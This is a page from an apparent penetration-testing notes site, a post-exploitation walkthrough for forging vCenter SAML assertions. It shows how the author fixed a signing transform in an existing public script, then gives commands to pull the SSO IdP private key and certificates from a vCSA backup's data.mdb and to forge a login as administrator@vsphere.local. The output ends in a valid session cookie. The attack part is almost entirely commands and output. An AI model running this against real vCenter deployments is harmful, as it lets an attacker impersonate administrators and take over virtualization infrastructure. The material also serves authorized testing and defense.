0xPThree.gitbook.io
  • Network Services
    • Ports
      • 21 - FTP
      • 22 - SSH
      • 23 - Telnet
      • 25, 465, 587 - SMTP(S)
      • 53 - DNS
      • 80, 443 - HTTP(S)
        • Frameworks
          • Drupal
          • Flask
          • Laravel
          • Tomcat
          • Werkzeug
        • Fuzzing
        • Grafana
        • Languages
          • PHP
        • WebDAV
        • Web Vulnerabilities
          • CloudFlare Bypass
          • Command Injection
          • CSTI
          • File Inclusion/Path Traversal
          • SQL Injection
          • SSI
          • SSTI
          • Upload bypass
          • XLST
          • XML Injection
      • 88 - Kerberos
      • 135, 593 - MSRPC
      • 139, 445 - SMB
      • 161, 162, 10161, 10162 - SNMP
      • 1433, 3306 - SQL
      • 2049 - NFS
      • 2375 - Docker
  • Active Directory
    • ADCS
    • DACL Abuse
      • AddMember
      • ForceChangePassword
      • Kerberoasting
      • ReadLAPSPassword
      • ReadGMSAPassword
      • Grant Ownership
      • Grant Rights
      • Logon Script
      • Rights on RODC object
    • Security groups
    • Misc
  • Coding Languages
    • Python
  • Exploits / PoC's
    • Ansible
      • Ansible AWX
    • Apache
      • HTTP Server - CVE-2021-41773
      • Struts - CVE-2024-53677 / S2-067
      • Tomcat - CVE-2020-1938 / CVE-2020-10487
      • Tomcat - CVE-2025-24813
    • Confluence - CVE-2023-22527
    • CUPS - CVE-2024-47***
    • D-Link
      • CVE-2020-29322
      • Decrypt firmware: DIR-X1560
    • Dmidecode - CVE-2023-30630
    • Erlang
      • OTP SSH - CVE-2025-32433
    • EternalBlue - MS17-010
    • Gitlab - CVE-2023-7028
    • Ivanti - CVE-2024-21893 / 21887
    • Jenkins - CVE-2024-23897
    • LXD group - N/A
    • nf_tables - CVE-2024-1086
    • NFS - N/A
    • Oracle
      • WebLogic - CVE-2018-2628
      • WebLogic - CVE-2019-2729
      • WebLogic - CVE-2023-21839
      • WebLogic - CVE-2024-20931
      • WebLogic - CVE-2024-21006
    • PHP
      • CVE-2024-4577
    • RunC
      • CVE-2022-0811
      • CVE-2024-21626
    • Snap - CVE-2019-7304
    • TP-Link - CVE-2024-5035
  • Hardware
    • Firmware
    • JTAG
    • SPI
    • UART
    • USB
  • Post Exploit
    • Compile payload
    • Obfuscation
    • Read VMDK files
    • Saved Credentials
      • Linux - Ansible AWX / Tower
      • Linux - Dell Networker
      • Windows - Mozilla Firefox
      • Windows - Notepad++
      • Windows - WinSCP
    • Session Hijack
    • Sniffing Passwords
    • Upgrade shell
    • VMware
      • Disk Encryption
      • LDAP Connection (SSO)
      • Restore VCSA Postgres Database
      • vCenter Forge SAML
      • Waiter Account Information
  • Development
    • Dnsmasq DHCP
    • Docker
      • Ansible AWX
      • Docker Compose
      • FirmAE - Emulate Firmware
      • Oracle WebLogic
      • Rocket.Chat
      • Tomcat
      • Vaultwarden
    • Harden Windows Host
    • HTTPS Proxy
    • Netplan + Networkd
    • SSL/TLS Certificates
  • TODO
Powered by GitBook
On this page

Was this helpful?

  1. Post Exploit
  2. VMware

vCenter Forge SAML

Last updated 5 months ago

Was this helpful?

This is tested on vCenter 7.0U3, based on horizon3 .

Their script didn't work out of the box for me, and it seems like the error is in the signing of the SAML as the <ec:InclusiveNamespaces..> is missing.

## Horizon3's signed XML
<ds:Transforms>
    <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
    <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>

## My signed XML
<ds:Transforms>
    <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
    <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
        <ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xsd xsi"/>
    </ds:Transform>
</ds:Transforms>
## Download data.mdb from vCSA backup. (Usually in lotus_backup.tar.gz)
$ ls -al
-rw-rw-r-- 1 void void     6134 Dec  4 09:33 assert.xml.erb
-rw------- 1 void void 40910848 Dec  4 13:20 data.mdb
-rw-rw-r-- 1 void void    12072 Dec  5 08:51 vcenter_forge_saml.rb
-rw-rw-r-- 1 void void     4702 Dec  5 08:51 vcenter_mdb_extractor.rb

## Execute 'vcenter_mdb_extractor.rb' to extract key and certs.
$ ruby vcenter_mdb_extractor.rb -h
Usage: vcenter_mdb_extractor [options]
    -d, --mdb /path/to/data.mdb

$ ruby vcenter_mdb_extractor.rb --mdb data.mdb
[+] Extracting from file: data.mdb
[+] Extracting vCenter SSO IdP Private key
[+] Extracting vCenter SSO IdP certificate
[+] Extracting vCenter VMCA root certificate
[+] Extraction done, output writen to ./output

$ ls -al ./output 
total 20
drwxrwxr-x 2 void void 4096 Dec  5 08:51 .
drwxrwxr-x 3 void void 4096 Dec  5 08:51 ..
-rw-rw-r-- 1 void void 1679 Dec  5 08:51 idp_cert.key
-rw-rw-r-- 1 void void 1318 Dec  5 08:51 idp_cert.pem
-rw-rw-r-- 1 void void 1468 Dec  5 08:51 vmca_cert.pem

## Execute 'vcenter_forge_saml.rb' to forge a SAML Request
$ ruby vcenter_forge_saml.rb -h
Usage: vcenter_forge_saml [options]
    -f, --fqdn <fqdn>                (Required) vCenter FQDN/Hostname
    -k, --key idp_cert.key           vCenter SSO IdP Private key. Default: ./output/idp_cert.key
    -c, --cert idp_cert.pem          vCenter SSO IdP certificate. Default: ./output/idp_cert.pem
    -v, --vmca vmca_cert.pem         vCenter VMCA root certificate. Default: ./output/vmca_cert.pem
    -u, --user username              vCenter Username to impersonate. Default: administrator
    -d, --domain domain              vCenter domain. Default: vsphere.local

$ ruby vcenter_forge_saml.rb --fqdn vcenter.target.local
Forgin SAML Request for 'administrator@vsphere.local' on 'vcenter.target.local'.
 [+] Validated FQDN: vcenter.target.local
 [+] Validated SSO IdP trusted certificate chain
 [+] Generated SAML response XML
 [+] Extracted RelayState: e044eb6b-d5d5-48f5-8843-4f83e5f48afe
 [+] Signed SAML assertion
 [+] Successfully authenticated to vSphere/vCenter!
 [+] Session cookie: VSPHERE-UI-JSESSIONID=84D394608A08CE9E11532F2B6A5BDB91; Path=/ui
vcenter_saml_login